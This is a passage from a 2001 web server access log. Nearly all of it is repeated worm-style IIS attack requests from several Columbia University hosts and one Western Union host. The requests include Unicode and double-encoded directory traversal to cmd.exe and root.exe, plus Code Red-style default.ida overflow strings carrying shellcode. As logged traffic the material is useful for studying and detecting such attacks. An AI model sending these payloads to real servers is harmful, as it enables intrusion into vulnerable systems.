/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:29: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:15:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:15:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:15:32: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:15: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:15: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:15: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:16: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:17:27: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:20:15: gauntlet.westernunion.com [206.201.224.10] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:20:16: gauntlet.westernunion.com [206.201.224.10] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:20:20: gauntlet.westernunion.com [206.201.224.10] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:20:21: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:20:21: gauntlet.westernunion.com [206.201.224.10] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:20:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:54: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:54: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:22:54: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:27:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:29:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:29:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 14:29:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:29:48: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:27: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:30:27: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:34:00: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 14:37:09: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 14:37:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET 